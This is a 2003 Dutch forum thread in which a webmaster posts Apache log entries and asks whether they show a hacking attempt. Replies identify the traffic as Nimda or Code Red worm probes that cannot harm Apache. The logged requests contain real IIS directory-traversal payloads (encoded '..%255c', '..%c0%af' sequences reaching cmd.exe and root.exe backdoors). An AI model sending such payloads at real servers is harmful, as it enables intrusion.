apache logfile: hack?

Pagina: 1
Acties:
  • 26 views sinds 30-01-2008

  • Scorpion1984
  • Registratie: Juni 2002
  • Laatst online: 17-05 11:19
Is dit een poging om te hacken?

62.195.232.153 - - [08/May/2003:12:23:37 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 281
62.195.232.153 - - [08/May/2003:12:23:38 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 279
62.195.232.153 - - [08/May/2003:12:23:38 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 289
62.195.232.153 - - [08/May/2003:12:23:39 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 289
62.195.232.153 - - [08/May/2003:12:23:42 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.195.232.153 - - [08/May/2003:12:23:43 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
62.195.232.153 - - [08/May/2003:12:23:43 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
62.195.232.153 - - [08/May/2003:12:23:52 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 336
62.195.232.153 - - [08/May/2003:12:23:53 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
62.195.232.153 - - [08/May/2003:12:23:53 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
62.195.232.153 - - [08/May/2003:12:23:53 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
62.195.232.153 - - [08/May/2003:12:23:54 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
62.195.232.153 - - [08/May/2003:12:24:03 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 286
62.195.232.153 - - [08/May/2003:12:24:04 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 286
62.195.232.153 - - [08/May/2003:12:24:04 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.195.232.153 - - [08/May/2003:12:24:07 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.195.232.153 - - [08/May/2003:12:42:25 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 281
62.195.232.153 - - [08/May/2003:12:42:28 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 279
62.195.232.153 - - [08/May/2003:12:42:28 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 289
62.195.232.153 - - [08/May/2003:12:42:29 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 289
62.195.232.153 - - [08/May/2003:12:42:29 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.195.232.153 - - [08/May/2003:12:42:30 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
62.195.232.153 - - [08/May/2003:12:42:34 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
62.195.232.153 - - [08/May/2003:12:42:35 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 336
62.195.232.153 - - [08/May/2003:12:42:38 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
62.195.232.153 - - [08/May/2003:12:42:42 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302

Dit soort blocken zie ik regelmatig voorbij komen in de in mijn logfile van mijn webserver, met voornamelijk dit ip ervoor. Hoe kom ik hiervanaf, en/of hoe laat ik hem weten dat ik niet van dit soort geintjes gedient ben.

  • j_du_pee
  • Registratie: Maart 2000
  • Laatst online: 23-09-2024

j_du_pee

du pain, du vin, du pee

dit is een Nimda of code red aanval. Jij draait apache dus hoef je je geen zorgen te maken ;)

kaart != map && bottel != fles
Wacht op antwoord


  • justmental
  • Registratie: April 2000
  • Niet online

justmental

my heart, the beat

Da's geen hackpoging, da's een worm.

Who is John Galt?


  • intoxicated
  • Registratie: Januari 2001
  • Niet online

intoxicated

Haaaai :w | ALT-S

Nimda, Nimda II, Code Red, noem maar op. Als je een van die meldingen in Google gooit had je dat meteen zelf kunnen vinden.

"Anyone who does not agree with me is mentally sick, and should be shot I'm afraid to say."
- Pastor Richards @ VCPR


Dit topic is gesloten.